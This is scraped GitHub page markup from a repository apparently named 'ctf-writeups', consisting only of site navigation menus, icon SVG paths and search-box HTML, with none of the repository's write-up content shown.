type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="162845937" data-scoped-search-url="/KEERRO/ctf-writeups/search" data-owner-scoped-search-url="/users/KEERRO/search" data-unscoped-search-url="/search" data-turbo="false" action="/KEERRO/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="w8Wwi8CPy5YojMAp/pudpZpTcbWzL21X3Zw76wRINvOVMkANwCI/kuuoCaQ4i6T8wx/IP3SrX1VBDe5eFMVb/g==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 